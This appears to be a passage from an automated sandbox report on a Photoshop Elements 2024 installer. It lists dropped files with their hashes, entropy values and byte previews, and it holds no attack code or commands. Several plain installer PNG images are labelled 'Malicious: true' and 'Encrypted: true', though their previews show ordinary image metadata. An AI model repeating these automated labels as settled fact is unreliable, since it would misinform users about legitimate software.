SHA-256:	406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
SHA-512:	A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
Malicious:	false
Preview:	@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218501
Entropy (8bit):	7.994177806609243
Encrypted:	true
SSDEEP:	6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
MD5:	70155993A908DD3F179030722111DAFD
SHA1:	7F77A6DA3295559977185127DF0131DFEAAB6401
SHA-256:	CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
SHA-512:	F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	196538
Entropy (8bit):	7.994396839674714
Encrypted:	true
SSDEEP:	3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
MD5:	ECBDD07F272A819936179371478A8C3F
SHA1:	FF77202067ACB0463E7878C44004CF55549325C1
SHA-256:	D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
SHA-512:	1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	149774
Entropy (8bit):	7.991574130023794
Encrypted:	true
SSDEEP:	3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
MD5:	6FC7D9D817DECC0ECA1F54C1540DA1A0
SHA1:	01959A4664CF3EA64A9CC85E6F8F60B25698107B
SHA-256:	9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
SHA-512:	1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190441
Entropy (8bit):	7.9969327976436695
Encrypted:	true
SSDEEP:	3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
MD5:	448941A2F024056569EF9817EEFEB9A7
SHA1:	544EC13242A4B9BD3E0A4D65079C55DF006D6D24
SHA-256:	21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
SHA-512:	1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	222420
Entropy (8bit):	7.994042748653122
Encrypted:	true
SSDEEP:	6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
MD5:	D428286039502448A467942D6F20772E
SHA1:	412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
SHA-256:	61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
SHA-512:	0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
Malicious:	true
Preview:	.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	553301
Entropy (8bit):	7.995654160787874
Encrypted:	true
SSDEEP:	12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
MD5:	3ED1397092BD3EAFDFE71335BF5F5E3C
SHA1:	9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
SHA-256:	8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
SHA-512:	5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
Malicious:	true
Preview:	.PNG........IHDR...z..........Ay.....sBIT....\|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\index.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.497933185923274
Encrypted:	false
SSDEEP:	96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
MD5:	348352BAA22F54466691B8673B6B6C93
SHA1:	5F6606EA02606FEC542690E80273AA5FFAAFF0AE
SHA-256:	39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
SHA-512:	F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
Malicious:	false
Preview:	<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\lib\jquery.min.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\906CC149415780CFB79F39E1CF449F87CA6D4D16

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	data
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	7.588791412640909
Encrypted:	false
SSDEEP:	24:ZgAZ/2W8ZZ/2SdX6NI9mrhJdx1mOhArrVSJPWenYGJCdf06YIb04SG2MJDh/fTZg:ZgsO3nOSSNjrhAHEKGSnA4DHgt
MD5:	473450263C9E21654E11B09438C1D075
SHA1:	EDEE3F4751AE9330FDD5E48E4BAA05E6B2449F50
SHA-256:	3EC90F71BDD0F6B655A480622507BB21D0327D2FC4E61F7AC315D64879328D94
SHA-512:	A4F59F8C1B6736A0E05C64137CEBCE10EA0D063B7ABC09289BE81101C0C7559B0F70B8BC42B4386015DDD31645E12A064DD65D9B778EF6ED57E2AF61523A1487
Malicious:	false
Preview:	.............l.IAW...9..D...mM. ...........0...0..........&..a0....H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-40...180820132000Z..250818132000Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1'0%..U....Adobe Content Certificate 10-60.."0....H.............0.........{r.'..sV....S....Y....v. .....Z...6.68..g.\2N..1.%.`u.;..\|.4K2..&%B..X..\i.......?v-X....XBl...>..-s....F.N..].....~....$S...Q.... .......>.}.par..PH..e.v8`..8........&%...t.j[.`..SD.#P..CO........4p..0.9tA..W...c.6..D.'..X-.e....<..xN..N.\|.....{ .%....sx..y.RtG......:.e......>.[.E.K....#..X.sXI.['..woc-...<5F.C........_o...P...+.dI..G'...)......q...8..#j...}..w.c.C...tc.Q......9E...j;o..9.td.^4.T&Anv.-I......1..K...iW6...#2.......CKI..Z.\.f.8s9.@3....9.....,U........=xX.L.Uz..W...... 0.0...U...........0...U.......0.0...*.H.......

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\BF89E52F8D681360E6B84941BD2F9BC0093309F6

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.661447951575745
Encrypted:	false
SSDEEP:	24:Z9PyzmYZ/2uffZ/2W8N0jrxcONWfo9rQBE8VQldBrIKsh0UlToNMhcg/Woqr8YaJ:Z9DUOupO3WjrxPNMQrQBEOQXBcKsh0Ut
MD5:	5812A52C2B6DD2B88003576B8F0D287F
SHA1:	3BB6985E363806134D6BC3D5B7032F5BF8F8FA4B
SHA-256:	B6E955415746442F11B8D0859024ADAC9003EB1BEFE9EDBBE2D47412231B32A6
SHA-512:	7F89657064C554844A104D89EB90D15195C18E3D9FF6832A151DF4D69FC40EA0F0EF7B914384B9E052980FD955D2A24116ED4161E1983C0F11C76346D639CBA0
Malicious:	false
Preview:	.............../.h.`.IA./...3.. ...........0...0..........s-).0....H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1.0...U....Adobe Root CA 10-30 ..180817173759Z..20680804173759Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-40.."0....H.............0...........2.....b....."..O./"=..}m.?xv.;<x......y.p.....0..ZFa.4.\|."\|...;.E!>...'u....s.1..Q..b.gQP...\|.(..l..m....-o...P}\|..n...]..".K4k.Q.N...3.E..eg.D+.....vo...zIF.G.......)l#..S.....].m.[....Z..X..I..,..a..x..LH...Vcw...L.E.M.^+...!..d".....!..WQ+T..kM.......j ....J>&....S....3.;=e...`.h.&................Xhd......H...Xr5......C..X.}J.a.9a.3.3.;...m..DB...ZJ....cS+=.r......iR..8.-s............)...Sa....2.c..G.F..4.#..@.8..{.v..~...Z......s.NMA.~.,..c..2....{.N...A.C.Mai..0q...\........>.......#0!0...U...........0...U.......0....0....H.............'

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\D1DF7F06B769BCCB3F4479041EC1F06E9CD3CB1A

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.622242905685942
Encrypted:	false
SSDEEP:	24:ZqyzzYZ/2uJZ/2W8wQ0EH8kc9q+BVTm5n3z3F33iylTfUGuchw67xE0/YSmIXO:ZVUOuXO33O9q0VTm5TF3RNUGZV7de
MD5:	76FC3770A8D703B19F629CF39C6AB29B
SHA1:	3832C78D38CE954DCB42AC17FE467BF021C30845
SHA-256:	6053CA69A7265B0C5B940AC96B4127537427D914D79AF5BE6DD3621CF7F48561
SHA-512:	2D540D42E48DC6A2B57DFA930B6B91B8A4FFDB7781148795D6A722C0578C6B26430075AA653D1A0886FD518D94692185B980EA8DE65059CA8989DABE24453F7D
Malicious:	false
Preview:	.................i..?Dy....n.... ...........0...0..........v.R.0....H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1.0...U....Adobe Root CA 10-30 ..180817173758Z..20680804173758Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-30.."0....H.............0.............``'....T'Ag....a......F........Je....+.f..y"Q....Iq%..c..^..xq..M.je-......g.M.;f.8....+<I`.h....=..R...c. 0.L.!...q..mV...m.5..@S...s..2<...........6.s.a...,.fN.R....f.......~6.;..@...i.......f..jB....i.y..].~.....%...:Q..A...........u~..,...6.s5X.V.........\|.. w..i`N.X.-....a...H;0..@..Fb:.c@\..gg.....z-N&.....E.{..pcM.&...Z@.."..T.)F4...o..IL.....d.`...A.....+`s.!./.........?..^m.,'...$-..NZ.N....y...'..?.....Y./B.b..\.l......9lw.........R.1.7.....vd....@.9..t...),.......#0!0...U...........0...U.......0....0...*.H.............{

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\F0BD97B4EC6CD8B71C35631738259CF9F2E54381

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	data
Category:	dropped
Size (bytes):	1518
Entropy (8bit):	7.64262473907766
Encrypted:	false
SSDEEP:	24:ZgsAZ/2W89DKZ/2Sol0s+9FYLUd4xkSJyZDA4lbxGuEleNUkGbJQJf8e2+:ZTsO3VqOSK+kLUVlFGuEleCkGbJQJfNB
MD5:	8372619510C190AF2922A2E94508E3EF
SHA1:	3C50B758777345087D653E2BE8FF12B3B2B54023
SHA-256:	EAC15573507ECDCC401580981D7EF85B1575B7B7E0BA8A4A1EA26F630B4F4B69
SHA-512:	745B230AB52F9C0510A6E1E1FA4B96C187943D0B6883925BEDF3F825BB87557BC6FC25708ED86AA8EB6152B5011BE7AFB8709D6DB8996BA88E2D38C7248A1CD2
Malicious:	false
Preview:	...............l..5c.8%....C. ...........0...0..........hQ@0....H........0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1#0!..U....Adobe Intermediate CA 10-30...180820131842Z..250818131842Z0..1.0...U....US1.0...U....California1.0...U....San Jose1.0...U....Adobe Systems1.0...U....Cloud Technology1'0%..U....Adobe Content Certificate 10-50.."0....H.............0.........K8uU.T..u.$.BU...."mx.....a(......DN....3.EQ....%p...F,.....D..._...H.....M...oL...<..G..';.KTE...X......FE....x......h.............PH..t4.Yw....Ci4...fCI.[....Q.;?..o.;.BC....M.....K..11.1i.......".....~..=.M..'D.g9B.n.i..U..6..b..p#.z./.h.x.....w.K.,...tIq..r..Z.2..j.9.........{up..w...>3.....N.. .$....Q.g.A....p..P...X}Iq..z$....x.5.......:.$.c..Z..jKR."..l...Y.....UG.6..@.,T.\|)....`R..j9..B....+..$4..y..m]=.......feN.V......'.."...{.&.......a......y.....)bf@..@,..B{WQ.).......... 0.0...U...........0...U.......0.0...*.H.......

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\chrome_BITS_8016_1199153551\BIT6B77.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	5343305
Entropy (8bit):	4.740078832024785
Encrypted:	false
SSDEEP:	49152:0moar73pQX4Agulfx8oNnu4fggX/UMo+EuSHjiaH3NQYh+VifL:0dafWX1lOcnu48h64+ONn+Vw
MD5:	5E3170B6B7AA492BEE7C27EA4190BC8B
SHA1:	6E648BE42E54630ABD75C4C861B5E3CCCBCE385F
SHA-256:	476E5591EBCD189639830D274F37E89C1CC3100CDBD7B7EB38F7FCFF7A270526
SHA-512:	7C2C3B24886FC52C54F96EF2F4CE1ED79A9906A035F5F3F3CEE52C25085CBE7F5CB83577BADDB5F6447BC6D0F2EFCFC1099DA4EB6221F991229E90054A96273F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........'.tm....l...wM.Wh..(......>9.'.\|..~..c(a8p.F...1.?...%.Nf g.t..h........\.X.-.at.z..Z.\...."E.1.....n..z.0I.# .vBz"A2.+0..I.n.....e...<.W.....^..:...\|g...C....y.tT<.S.3..C^Kd. ..m...C..b...2..,..L;....8O....E0...".J.q....j..O.?"..P.j...f.../.......0.."0....H.............0............y..D%b7...a.P....~./~.d.2..K....7K....8...g@....Ux...x..,.G.U...H`..6.(.h....2..t8..#Uf.].i....\|D.I%..y.Z....e.c..UFe$p....,...s.!\$r.....r...i........#6I7u".Ev.../.z.............l...C.....vX.L..4u`..M.&.7o_..Y..;x_#'2........-1......^....`{.~.TLrD.,._ .7:\..n..&...G.E$ .A1.w.........r....E...>...i(... ..eRH..%O..)d.^w.2..,....g".^/=X.2.....&....S....><^..l^....c..D.g

C:\Windows\SystemTemp\chrome_BITS_8016_1388616622\BIT7D50.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7326
Entropy (8bit):	7.727942782725483
Encrypted:	false
SSDEEP:	192:C37oyTIs04q37YgZkUBOoHMdNiP6nCm/9xjvhoRx6x82trRn:YTqU8AoH6n5zloaZN
MD5:	674314F5514D6F7EE43338AC4C765BFF
